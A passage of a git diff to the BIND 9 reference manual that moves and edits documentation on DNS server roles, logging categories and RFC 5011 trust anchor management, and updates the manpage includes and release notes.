-
-For instance, consider the ``example.com`` domain, which includes names
-such as ``host.aaa.example.com`` and ``host.bbb.example.com``, even
-though the ``example.com`` zone includes only delegations for the
-``aaa.example.com`` and ``bbb.example.com`` zones. A zone can map
-exactly to a single domain, but could also include only part of a
-domain, the rest of which could be delegated to other name servers.
-Every name in the DNS tree is a *domain*, even if it is *terminal*, that
-is, has no *subdomains*. Every subdomain is a domain and every domain
-except the root is also a subdomain. The terminology is not intuitive
-and we suggest reading :rfc:`1033`, :rfc:`1034`, and :rfc:`1035` to gain a complete
-understanding of this difficult and subtle topic.
-
-Though BIND 9 is called a "domain name server," it deals primarily in
-terms of zones. The ``primary`` and ``secondary`` declarations in the ``named.conf``
-file specify zones, not domains. When BIND asks some other site if it is
-willing to be a secondary server for a *domain*, it is actually asking
-for secondary service for some collection of *zones*.
-
-.. _auth_servers:
-
-Authoritative Name Servers
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Each zone is served by at least one *authoritative name server*, which
-contains the complete data for the zone. To make the DNS tolerant of
-server and network failures, most zones have two or more authoritative
-servers, on different networks.
-
-Responses from authoritative servers have the "authoritative answer"
-(AA) bit set in the response packets. This makes them easy to identify
-when debugging DNS configurations using tools like ``dig`` (:ref:`diagnostic_tools`).
-
-.. _primary_master:
-
-The Primary Server
-^^^^^^^^^^^^^^^^^^
-
-The authoritative server, where the main copy of the zone data is
-maintained, is called the *primary* (formerly *master*) server, or simply the
-*primary*. Typically it loads the zone contents from some local file
-edited by humans or perhaps generated mechanically from some other local
-file which is edited by humans. This file is called the *zone file* or
-*master file*.
-
-In some cases, however, the master file may not be edited by humans at
-all, but may instead be the result of *dynamic update* operations.
-
-.. _secondary_server:
-
-Secondary Servers
-^^^^^^^^^^^^^^^^^
-
-The other authoritative servers, the *secondary* servers (formerly known as
-*slave* servers) load the zone contents from another server using a
-replication process known as a *zone transfer*. Typically the data is
-transferred directly from the primary, but it is also possible to
-transfer it from another secondary. In other words, a secondary server may
-itself act as a primary to a subordinate secondary server.
-
-Periodically, the secondary server must send a refresh query to determine
-whether the zone contents have been updated. This is done by sending a
-query for the zone's Start of Authority (SOA) record and checking whether the SERIAL field
-has been updated; if so, a new transfer request is initiated. The timing
-of these refresh queries is controlled by the SOA REFRESH and RETRY
-fields, but can be overridden with the ``max-refresh-time``,
-``min-refresh-time``, ``max-retry-time``, and ``min-retry-time``
-options.
-
-If the zone data cannot be updated within the time specified by the SOA
-EXPIRE option (up to a hard-coded maximum of 24 weeks), the secondary
-zone expires and no longer responds to queries.
-
-.. _stealth_server:
-
-Stealth Servers
-^^^^^^^^^^^^^^^
-
-Usually, all of the zone's authoritative servers are listed in NS records
-in the parent zone. These NS records constitute a *delegation* of the
-zone from the parent. The authoritative servers are also listed in the
-zone file itself, at the *top level* or *apex* of the zone.
-Servers that are not in the parent's
-NS delegation can be listed in the zone's top-level NS records, but servers that are not present at the zone's top level
-cannot be listed in the parent's delegation.
-
-A *stealth server* is a server that is authoritative for a zone but is
-not listed in that zone's NS records. Stealth servers can be used for
-keeping a local copy of a zone, to speed up access to the zone's records
-or to make sure that the zone is available even if all the "official"
-servers for the zone are inaccessible.
-
-A configuration where the primary server itself is a stealth
-server is often referred to as a "hidden primary" configuration. One use
-for this configuration is when the primary is behind a firewall
-and is therefore unable to communicate directly with the outside world.
-
-.. _cache_servers:
-
-Caching Name Servers
-~~~~~~~~~~~~~~~~~~~~
-
-The resolver libraries provided by most operating systems are *stub
-resolvers*, meaning that they are not capable of performing the full DNS
-resolution process by themselves by talking directly to the
-authoritative servers. Instead, they rely on a local name server to
-perform the resolution on their behalf. Such a server is called a
-*recursive* name server; it performs *recursive lookups* for local
-clients.
-
-To improve performance, recursive servers cache the results of the
-lookups they perform. Since the processes of recursion and caching are
-intimately connected, the terms *recursive server* and *caching server*
-are often used synonymously.
-
-The length of time for which a record may be retained in the cache of a
-caching name server is controlled by the Time-To-Live (TTL) field
-associated with each resource record.
-
-.. _forwarder:
-
-Forwarding
-^^^^^^^^^^
-
-Even a caching name server does not necessarily perform the complete
-recursive lookup itself. Instead, it can *forward* some or all of the
-queries that it cannot satisfy from its cache to another caching name
-server, commonly referred to as a *forwarder*.
-
-Forwarders are typically used when an administrator does not wish for
-all the servers at a given site to interact directly with the rest of
-the Internet. For example, a common scenario is when multiple internal
-DNS servers are behind an Internet firewall. Servers behind the firewall
-forward their requests to the server with external access, which queries
-Internet DNS servers on the internal servers' behalf.
-
-Another scenario (largely now superseded by Response Policy Zones) is to
-send queries first to a custom server for RBL processing before
-forwarding them to the wider Internet.
-
-There may be one or more forwarders in a given setup. The order in which
-the forwarders are listed in ``named.conf`` does not determine the
-sequence in which they are queried; rather, ``named`` uses the response
-times from previous queries to select the server that is likely to
-respond the most quickly. A server that has not yet been queried is
-given an initial small random response time to ensure that it is tried
-at least once. Dynamic adjustment of the recorded response times ensures
-that all forwarders are queried, even those with slower response times.
-This permits changes in behavior based on server responsiveness.
-
-.. _multi_role:
-
-Name Servers in Multiple Roles
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The BIND name server can simultaneously act as a primary for some zones,
-a secondary for other zones, and as a caching (recursive) server for a set
-of local clients.
-
-However, since the functions of authoritative name service and
-caching/recursive name service are logically separate, it is often
-advantageous to run them on separate server machines. A server that only
-provides authoritative name service (an *authoritative-only* server) can
-run with recursion disabled, improving reliability and security. A
-server that is not authoritative for any zones and only provides
-recursive service to local clients (a *caching-only* server) does not
-need to be reachable from the Internet at large and can be placed inside
-a firewall.
diff --git a/doc/arm/logging-categories.inc.rst b/doc/arm/logging-categories.inc.rst
new file mode 100644
index 0000000000..c80c17fe7f
--- /dev/null
+++ b/doc/arm/logging-categories.inc.rst
@@ -0,0 +1,120 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+``client``
+    Processing of client requests.
+
+``cname``
+    Name servers that are skipped for being a CNAME rather than A/AAAA records.
+
+``config``
+    Configuration file parsing and processing.
+
+``database``
+    Messages relating to the databases used internally by the name server to store zone and cache data.
+
+``default``
+    Logging options for those categories where no specific configuration has been defined.
+
+``dispatch``
+    Dispatching of incoming packets to the server modules where they are to be processed.
+
+``dnssec``
+    DNSSEC and TSIG protocol processing.
+
+``dnstap``
+    The :any:`dnstap` DNS traffic capture system.
+
+``edns-disabled``
+    Log queries that have been forced to use plain DNS due to timeouts. This is often due to the remote servers not being :rfc:`1034`-compliant (not always returning FORMERR or similar to EDNS queries and other extensions to the DNS when they are not understood). In other words, this is targeted at servers that fail to respond to DNS queries that they don't understand.
+
+    Note: the log message can also be due to packet loss. Before reporting servers for non-:rfc:`1034` compliance they should be re-tested to determine the nature of the non-compliance. This testing should prevent or reduce the number of false-positive reports.
+
+    Note: eventually :iscman:`named` will have to stop treating such timeouts as due to :rfc:`1034` non-compliance and start treating it as plain packet loss. Falsely classifying packet loss as due to :rfc:`1034` non-compliance impacts DNSSEC validation, which requires EDNS for the DNSSEC records to be returned.
+
+``general``
+    A catch-all for many things that still are not classified into categories.
+
+``lame-servers``
+    Misconfigurations in remote servers, discovered by BIND 9 when trying to query those servers during resolution.
+
+``network``
+    Network operations.
+
+``notify``
+    The NOTIFY protocol.
+
+``nsid``
+    NSID options received from upstream servers.
+
+``queries``
+    A location where queries should be logged.
+
+    At startup, specifying the category ``queries`` also enables query logging unless the :any:`querylog` option has been specified.
+
+    The query log entry first reports a client object identifier in @0x<hexadecimal-number> format. Next, it reports the client's IP address and port number, and the query name, class, and type. Next, it reports whether the Recursion Desired flag was set (+ if set, - if not set), whether the query was signed (S), whether EDNS was in use along with the EDNS version number (E(#)), whether TCP was used (T), whether DO (DNSSEC Ok) was set (D), whether CD (Checking Disabled) was set (C), whether a valid DNS Server COOKIE was received (V), and whether a DNS COOKIE option without a valid Server COOKIE was present (K). After this, the destination address the query was sent to is reported. Finally, if any CLIENT-SUBNET option was present in the client query, it is included in square brackets in the format [ECS address/source/scope].
+
+    .. code-block:: none
+
+       client @0x7f91b8005490 127.0.0.1#62536 (www.example.com): query: www.example.com IN AAAA +E(0)K (127.0.0.1)
+       client @0x7f91b4007400 ::1#62537 (www.example.net): query: www.example.net IN AAAA +E(0)K (::1)
+
+    The first part of this log message, showing the client address/port number and query name, is repeated in all subsequent log messages related to the same query.
+
+``query-errors``
+    Information about queries that resulted in some failure.
+
+``rate-limit``
+    Start, periodic, and final notices of the rate limiting of a stream of responses that are logged at ``info`` severity in this category. These messages include a hash value of the domain name of the response and the name itself, except when there is insufficient memory to record the name for the final notice. The final notice is normally delayed until about one minute after rate limiting stops. A lack of memory can hurry the final notice, which is indicated by an initial asterisk (\*). Various internal events are logged at debug level 1 and higher.
+
+    Rate limiting of individual requests is logged in the ``query-errors`` category.
+
+``resolver``
+    DNS resolution, such as the recursive lookups performed on behalf of clients by a caching name server.
+
+``rpz``
+    Information about errors in response policy zone files, rewritten responses, and, at the highest ``debug`` levels, mere rewriting attempts.
+
+``rpz-passthru``
+    Information about RPZ PASSTHRU policy activity. This category allows pre-approved policy activity to be logged into a dedicated channel.
+
+``security``
+    Approval and denial of requests.
+
+``serve-stale``
+    Indication of whether a stale answer is used following a resolver failure.
+
+``spill``
+    Queries that have been terminated, either by dropping or responding with SERVFAIL, as a result of a fetchlimit quota being exceeded.
+
+``sslkeylog``
+    TLS pre-master secrets (for debugging purposes).
+
+``trust-anchor-telemetry``
+    :any:`trust-anchor-telemetry` requests received by :iscman:`named`.
+
+``unmatched``
+    Messages that :iscman:`named` was unable to determine the class of, or for which there was no matching :any:`view`. A one-line summary is also logged to the ``client`` category. This category is best sent to a file or stderr; by default it is sent to the :any:`null` channel.
+
+``update``
+    Dynamic updates.
+
+``update-security``
+    Approval and denial of update requests.
+
+``xfer-in``
+    Zone transfers the server is receiving.
+
+``xfer-out``
+    Zone transfers the server is sending.
+
+``zoneload``
+    Loading of zones and creation of automatic empty zones.
diff --git a/doc/arm/logging-categories.rst b/doc/arm/logging-categories.rst
deleted file mode 100644
index 93fc4f8d7b..0000000000
--- a/doc/arm/logging-categories.rst
+++ /dev/null
@@ -1,119 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-``client``
-    Processing of client requests.
-
-``cname``
-    Name servers that are skipped for being a CNAME rather than A/AAAA records.
-     
-``config``
-    Configuration file parsing and processing.
-
-``database``
-    Messages relating to the databases used internally by the name server to store zone and cache data.
-
-``default``
-    Logging options for those categories where no specific configuration has been defined.
-
-``delegation-only``
-    Queries that have been forced to NXDOMAIN as the result of a delegation-only zone or a ``delegation-only`` in a forward, hint, or stub zone declaration.
-
-``dispatch``
-    Dispatching of incoming packets to the server modules where they are to be processed.
-
-``dnssec``
-    DNSSEC and TSIG protocol processing.
-
-``dnstap``
-    The "dnstap" DNS traffic capture system.
-
-``edns-disabled``
-    Log queries that have been forced to use plain DNS due to timeouts. This is often due to the remote servers not being :rfc:`1034`-compliant (not always returning FORMERR or similar to EDNS queries and other extensions to the DNS when they are not understood). In other words, this is targeted at servers that fail to respond to DNS queries that they don't understand.
-    
-    Note: the log message can also be due to packet loss. Before reporting servers for non-:rfc:`1034` compliance they should be re-tested to determine the nature of the non-compliance. This testing should prevent or reduce the number of false-positive reports.
-    
-    Note: eventually ``named`` will have to stop treating such timeouts as due to :rfc:`1034` non-compliance and start treating it as plain packet loss. Falsely classifying packet loss as due to :rfc:`1034` non-compliance impacts DNSSEC validation, which requires EDNS for the DNSSEC records to be returned.
-
-``general``
-    Catch-all for many things that still are not classified into categories.
-
-``lame-servers``
-    Misconfigurations in remote servers, discovered by BIND 9 when trying to query those servers during resolution.
-
-``network``
-    Network operations.
-
-``notify``
-    The NOTIFY protocol.
-
-``nsid``
-    NSID options received from upstream servers.
-
-``queries``
-    Location where queries should be logged.
-    
-    At startup, specifying the category ``queries`` also enables query logging unless the ``querylog`` option has been specified.
-    
-    The query log entry first reports a client object identifier in @0x<hexadecimal-number> format. Next, it reports the client's IP address and port number, and the query name, class, and type. Next, it reports whether the Recursion Desired flag was set (+ if set, - if not set), whether the query was signed (S), whether EDNS was in use along with the EDNS version number (E(#)), whether TCP was used (T), whether DO (DNSSEC Ok) was set (D), whether CD (Checking Disabled) was set (C), whether a valid DNS Server COOKIE was received (V), and whether a DNS COOKIE option without a valid Server COOKIE was present (K). After this, the destination address the query was sent to is reported. Finally, if any CLIENT-SUBNET option was present in the client query, it is included in square brackets in the format [ECS address/source/scope].
-
-    ``client 127.0.0.1#62536 (www.example.com):``
-    ``query: www.example.com IN AAAA +SE``
-    ``client ::1#62537 (www.example.net):``
-    ``query: www.example.net IN AAAA -SE``
-    
-    The first part of this log message, showing the client address/port number and query name, is repeated in all subsequent log messages related to the same query.
-
-``query-errors``
-    Information about queries that resulted in some failure.
-
-``rate-limit``
-    Start, periodic, and final notices of the rate limiting of a stream of responses that are logged at ``info`` severity in this category. These messages include a hash value of the domain name of the response and the name itself, except when there is insufficient memory to record the name for the final notice. The final notice is normally delayed until about one minute after rate limiting stops. A lack of memory can hurry the final notice, which is indicated by an initial asterisk (\*). Various internal events are logged at debug level 1 and higher.
-    
-    Rate limiting of individual requests is logged in the ``query-errors`` category.
-
-``resolver``
-    DNS resolution, such as the recursive lookups performed on behalf of clients by a caching name server.
-
-``rpz``
-    Information about errors in response policy zone files, rewritten responses, and, at the highest ``debug`` levels, mere rewriting attempts.
-
-``rpz-passthru``
-    Information about RPZ PASSTHRU policy activity. This category allows pre-approved policy activity to be logged into a dedicated channel.
-
-``security``
-    Approval and denial of requests.
-
-``serve-stale``
-    Indication of whether a stale answer is used following a resolver failure.
-
-``spill``
-    Queries that have been terminated, either by dropping or responding with SERVFAIL, as a result of a fetchlimit quota being exceeded.
-
-``trust-anchor-telemetry``
-    Trust-anchor-telemetry requests received by ``named``.
-
-``unmatched``
-    Messages that ``named`` was unable to determine the class of, or for which there was no matching ``view``. A one-line summary is also logged to the ``client`` category. This category is best sent to a file or stderr; by default it is sent to the ``null`` channel.
-
-``update``
-    Dynamic updates.
-
-``update-security``
-    Approval and denial of update requests.
-
-``xfer-in``
-    Zone transfers the server is receiving.
-
-``xfer-out``
-    Zone transfers the server is sending.
-
-``zoneload``
-    Loading of zones and creation of automatic empty zones.
diff --git a/doc/arm/managed-keys.inc.rst b/doc/arm/managed-keys.inc.rst
new file mode 100644
index 0000000000..a8eb4c7175
--- /dev/null
+++ b/doc/arm/managed-keys.inc.rst
@@ -0,0 +1,92 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _rfc5011.support:
+
+Dynamic Trust Anchor Management
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+BIND is able to maintain DNSSEC trust anchors using :rfc:`5011` key
+management. This feature allows :iscman:`named` to keep track of changes to
+critical DNSSEC keys without any need for the operator to make changes
+to configuration files.
+
+Validating Resolver
+^^^^^^^^^^^^^^^^^^^
+
+To configure a validating resolver to use :rfc:`5011` to maintain a trust
+anchor, configure the trust anchor using a :any:`trust-anchors` statement and
+the ``initial-key`` keyword. Information about this can be found in
+the :any:`trust-anchors` statement description.
+
+Authoritative Server
+^^^^^^^^^^^^^^^^^^^^
+
+To set up an authoritative zone for :rfc:`5011` trust anchor maintenance,
+generate two (or more) key signing keys (KSKs) for the zone. Sign the
+zone with one of them; this is the "active" KSK. All KSKs which do not
+sign the zone are "stand-by" keys.
+
+Any validating resolver which is configured to use the active KSK as an
+:rfc:`5011`-managed trust anchor takes note of the stand-by KSKs in the
+zone's DNSKEY RRset, and stores them for future reference. The resolver
+rechecks the zone periodically; after 30 days, if the new key is
+still there, the key is accepted by the resolver as a valid
+trust anchor for the zone. Anytime after this 30-day acceptance timer
+has completed, the active KSK can be revoked, and the zone can be
+"rolled over" to the newly accepted key.
+
+The easiest way to place a stand-by key in a zone is to use the "smart
+signing" features of :iscman:`dnssec-keygen` and :iscman:`dnssec-signzone`. If a key
+exists with a publication date in the past, but an activation date which is
+unset or in the future, :option:`dnssec-signzone -S` includes the
+DNSKEY record in the zone but does not sign with it:
+
+::
+
+   $ dnssec-keygen -K keys -f KSK -P now -A now+2y example.net
+   $ dnssec-signzone -S -K keys example.net
+
+To revoke a key, use the command :iscman:`dnssec-revoke`. This
+adds the REVOKED bit to the key flags and regenerates the ``K*.key``
+and ``K*.private`` files.
+
+After revoking the active key, the zone must be signed with both the
+revoked KSK and the new active KSK. Smart signing takes care of this
+automatically.
+
+Once a key has been revoked and used to sign the DNSKEY RRset in which
+it appears, that key is never again accepted as a valid trust
+anchor by the resolver. However, validation can proceed using the new
+active key, which was accepted by the resolver when it was a
+stand-by key.
+
+See :rfc:`5011` for more details on key rollover scenarios.
+
+When a key has been revoked, its key ID changes, increasing by 128 and
+wrapping around at 65535. So, for example, the key
+"``Kexample.com.+005+10000``" becomes "``Kexample.com.+005+10128``".
+
+If two keys have IDs exactly 128 apart and one is revoked, the two
+key IDs will collide, causing several problems. To prevent this,
+:iscman:`dnssec-keygen` does not generate a new key if another key
+which may collide is present. This checking only occurs if the new keys are
+written to the same directory that holds all other keys in use for that
+zone.
+
+Older versions of BIND 9 did not have this protection. Exercise caution
+if using key revocation on keys that were generated by previous
+releases, or if using keys stored in multiple directories or on multiple
+machines.
+
+It is expected that a future release of BIND 9 will address this problem
+in a different way, by storing revoked keys with their original
+unrevoked key IDs.
diff --git a/doc/arm/managed-keys.rst b/doc/arm/managed-keys.rst
deleted file mode 100644
index fa771bebb1..0000000000
--- a/doc/arm/managed-keys.rst
+++ /dev/null
@@ -1,91 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. _rfc5011.support:
-
-Dynamic Trust Anchor Management
--------------------------------
-
-BIND is able to maintain DNSSEC trust anchors using :rfc:`5011` key
-management. This feature allows ``named`` to keep track of changes to
-critical DNSSEC keys without any need for the operator to make changes
-to configuration files.
-
-Validating Resolver
-~~~~~~~~~~~~~~~~~~~
-
-To configure a validating resolver to use :rfc:`5011` to maintain a trust
-anchor, configure the trust anchor using a ``trust-anchors`` statement and
-the ``initial-key`` keyword. Information about this can be found in
-:ref:`trust-anchors`.
-
-Authoritative Server
-~~~~~~~~~~~~~~~~~~~~
-
-To set up an authoritative zone for :rfc:`5011` trust anchor maintenance,
-generate two (or more) key signing keys (KSKs) for the zone. Sign the
-zone with one of them; this is the "active" KSK. All KSKs which do not
-sign the zone are "stand-by" keys.
-
-Any validating resolver which is configured to use the active KSK as an
-:rfc:`5011`-managed trust anchor takes note of the stand-by KSKs in the
-zone's DNSKEY RRset, and stores them for future reference. The resolver
-rechecks the zone periodically; after 30 days, if the new key is
-still there, the key is accepted by the resolver as a valid
-trust anchor for the zone. Anytime after this 30-day acceptance timer
-has completed, the active KSK can be revoked, and the zone can be
-"rolled over" to the newly accepted key.
-
-The easiest way to place a stand-by key in a zone is to use the "smart
-signing" features of ``dnssec-keygen`` and ``dnssec-signzone``. If a key
-exists with a publication date in the past, but an activation date which is
-unset or in the future, ``dnssec-signzone -S`` includes the
-DNSKEY record in the zone but does not sign with it:
-
-::
-
-   $ dnssec-keygen -K keys -f KSK -P now -A now+2y example.net
-   $ dnssec-signzone -S -K keys example.net
-
-To revoke a key, use the command ``dnssec-revoke``. This
-adds the REVOKED bit to the key flags and regenerates the ``K*.key``
-and ``K*.private`` files.
-
-After revoking the active key, the zone must be signed with both the
-revoked KSK and the new active KSK. Smart signing takes care of this
-automatically.
-
-Once a key has been revoked and used to sign the DNSKEY RRset in which
-it appears, that key is never again accepted as a valid trust
-anchor by the resolver. However, validation can proceed using the new
-active key, which was accepted by the resolver when it was a
-stand-by key.
-
-See :rfc:`5011` for more details on key rollover scenarios.
-
-When a key has been revoked, its key ID changes, increasing by 128 and
-wrapping around at 65535. So, for example, the key
-"``Kexample.com.+005+10000``" becomes "``Kexample.com.+005+10128``".
-
-If two keys have IDs exactly 128 apart and one is revoked, the two
-key IDs will collide, causing several problems. To prevent this,
-``dnssec-keygen`` does not generate a new key if another key
-which may collide is present. This checking only occurs if the new keys are
-written to the same directory that holds all other keys in use for that
-zone.
-
-Older versions of BIND 9 did not have this protection. Exercise caution
-if using key revocation on keys that were generated by previous
-releases, or if using keys stored in multiple directories or on multiple
-machines.
-
-It is expected that a future release of BIND 9 will address this problem
-in a different way, by storing revoked keys with their original
-unrevoked key IDs.
diff --git a/doc/arm/manpages.rst b/doc/arm/manpages.rst
index 1c913f52a5..a833bf6452 100644
--- a/doc/arm/manpages.rst
+++ b/doc/arm/manpages.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _manpages:
 
@@ -14,6 +15,7 @@ Manual Pages
 ============
 
 .. include:: ../../bin/tools/arpaname.rst
+.. include:: ../../bin/confgen/ddns-confgen.rst
 .. include:: ../../bin/delv/delv.rst
 .. include:: ../../bin/dig/dig.rst
 .. include:: ../../bin/dnssec/dnssec-cds.rst
@@ -30,8 +32,8 @@ Manual Pages
 .. include:: ../../bin/dig/host.rst
 .. include:: ../../bin/tools/mdig.rst
 .. include:: ../../bin/check/named-checkconf.rst
-.. _man_named-checkzone_named-compilezone:
 .. include:: ../../bin/check/named-checkzone.rst
+.. include:: ../../bin/check/named-compilezone.rst
 .. include:: ../../bin/tools/named-journalprint.rst
 .. include:: ../../bin/tools/named-nzd2nzf.rst
 .. include:: ../../bin/tools/named-rrchecker.rst
@@ -40,12 +42,7 @@ Manual Pages
 .. include:: ../../bin/tools/nsec3hash.rst
 .. include:: ../../bin/dig/nslookup.rst
 .. include:: ../../bin/nsupdate/nsupdate.rst
-.. include:: ../../bin/pkcs11/pkcs11-destroy.rst
-.. include:: ../../bin/pkcs11/pkcs11-keygen.rst
-.. include:: ../../bin/pkcs11/pkcs11-list.rst
-.. include:: ../../bin/pkcs11/pkcs11-tokens.rst
 .. include:: ../../bin/confgen/rndc-confgen.rst
 .. include:: ../../bin/rndc/rndc.conf.rst
 .. include:: ../../bin/rndc/rndc.rst
-.. _man_tsig-keygen_ddns-confgen:
 .. include:: ../../bin/confgen/tsig-keygen.rst
diff --git a/doc/arm/name-resolution.dia b/doc/arm/name-resolution.dia
new file mode 100644
index 0000000000..272169f5ad
Binary files /dev/null and b/doc/arm/name-resolution.dia differ
diff --git a/doc/arm/name-resolution.png b/doc/arm/name-resolution.png
new file mode 100644
index 0000000000..178428480e
Binary files /dev/null and b/doc/arm/name-resolution.png differ
diff --git a/doc/arm/notes.rst b/doc/arm/notes.rst
index 57fcf4aae1..90180d97a1 100644
--- a/doc/arm/notes.rst
+++ b/doc/arm/notes.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 Release Notes
 =============
@@ -16,33 +17,17 @@ Release Notes
 Introduction
 ------------
 
-BIND 9.17 is an unstable development release of BIND. This document
+BIND 9.19 is an unstable development release of BIND. This document
 summarizes new features and functional changes that have been introduced
 on this branch. With each development release leading up to the stable
-BIND 9.18 release, this document will be updated with additional
+BIND 9.20 release, this document will be updated with additional
 features added and bugs fixed. Please see the CHANGES file for a more
 detailed list of changes and bug fixes.
 
 Supported Platforms
 -------------------
 
-To build on Unix-like systems, BIND requires support for POSIX.1c
-threads (IEEE Std 1003.1c-1995), the Advanced Sockets API for IPv6
-(:rfc:`3542`), and standard atomic operations provided by the C
-compiler.
-
-The libuv asynchronous I/O library and the OpenSSL cryptography library
-must be available for the target platform. A PKCS#11 provider can be
-used instead of OpenSSL for Public Key cryptography (i.e., DNSSEC
-signing and validation), but OpenSSL is still required for general
-cryptography operations such as hashing and random number generation.
-
-More information can be found in the ``PLATFORMS.md`` file that is
-included in the source distribution of BIND 9. If your compiler and
-system libraries provide the above features, BIND 9 should compile and
-run. If that is not the case, the BIND development team will generally
-accept patches that add support for systems that are still supported by
-their respective vendors.
+See the :ref:`supported_os` section in the :ref:`Requirements` chapter.
 
 Download
 --------
@@ -51,36 +36,34 @@ The latest versions of BIND 9 software can always be found at
 https://www.isc.org/download/. There you will find additional
 information about each release, and source code.
 
-.. include:: ../notes/notes-9.17.12.rst
-.. include:: ../notes/notes-9.17.11.rst
-.. include:: ../notes/notes-9.17.10.rst
-.. include:: ../notes/notes-9.17.9.rst
-.. include:: ../notes/notes-9.17.8.rst
-.. include:: ../notes/notes-9.17.7.rst
-.. include:: ../notes/notes-9.17.6.rst
-.. include:: ../notes/notes-9.17.5.rst
-.. include:: ../notes/notes-9.17.4.rst
-.. include:: ../notes/notes-9.17.3.rst
-.. include:: ../notes/notes-9.17.2.rst
-.. include:: ../notes/notes-9.17.1.rst
-.. include:: ../notes/notes-9.17.0.rst
+.. include:: ../notes/notes-known-issues.rst
+
+.. include:: ../notes/notes-9.19.17.rst
+.. include:: ../notes/notes-9.19.16.rst
+.. include:: ../notes/notes-9.19.15.rst
+.. include:: ../notes/notes-9.19.14.rst
+.. include:: ../notes/notes-9.19.13.rst
+.. include:: ../notes/notes-9.19.12.rst
+.. include:: ../notes/notes-9.19.11.rst
+.. include:: ../notes/notes-9.19.10.rst
+.. include:: ../notes/notes-9.19.9.rst
+.. include:: ../notes/notes-9.19.8.rst
+.. include:: ../notes/notes-9.19.7.rst
+.. include:: ../notes/notes-9.19.6.rst
+.. include:: ../notes/notes-9.19.5.rst
+.. include:: ../notes/notes-9.19.4.rst
+.. include:: ../notes/notes-9.19.3.rst
+.. include:: ../notes/notes-9.19.2.rst
+.. include:: ../notes/notes-9.19.1.rst
+.. include:: ../notes/notes-9.19.0.rst
 
 .. _relnotes_license:
 
 License
 -------
 
-BIND 9 is open source software licensed under the terms of the Mozilla
-Public License, version 2.0 (see the ``LICENSE`` file for the full
-text).
-
-The license requires that if you make changes to BIND and distribute
-them outside your organization, those changes must be published under
-the same license. It does not require that you publish or disclose
-anything other than the changes you have made to our software. This
-requirement does not affect anyone who is using BIND, with or without
-modifications, without redistributing it, nor anyone redistributing BIND
-without changes.
+BIND 9 is open source software licensed under the terms of the Mozilla Public
+License, version 2.0 (see the ``COPYING`` file for the full text).
 
 Those wishing to discuss license compliance may contact ISC at
 https://www.isc.org/contact/.
@@ -88,12 +71,12 @@ https://www.isc.org/contact/.
 End of Life
 -----------
 
-BIND 9.17 is an unstable development branch. When its development is
-complete, it will be renamed to BIND 9.18, which will be a stable
-branch. The end-of-life date for BIND 9.18 has not yet been determined.
+BIND 9.19 is an unstable development branch. When its development is
+complete, it will be renamed to BIND 9.20, which will be a stable
+branch. The end-of-life date for BIND 9.20 has not yet been determined.
 For those needing long-term stability, the current Extended Support
-Version (ESV) is BIND 9.11, which will be supported until at least
-December 2021. See https://kb.isc.org/docs/aa-00896 for details of
+Version (ESV) is BIND 9.18, which will be supported until at least
+December 2025. See https://kb.isc.org/docs/aa-00896 for details of
 ISC's software support policy.
 
 Thank You
diff --git a/doc/arm/pkcs11.inc.rst b/doc/arm/pkcs11.inc.rst
new file mode 100644
index 0000000000..78de07bcf3
--- /dev/null
+++ b/doc/arm/pkcs11.inc.rst
@@ -0,0 +1,355 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
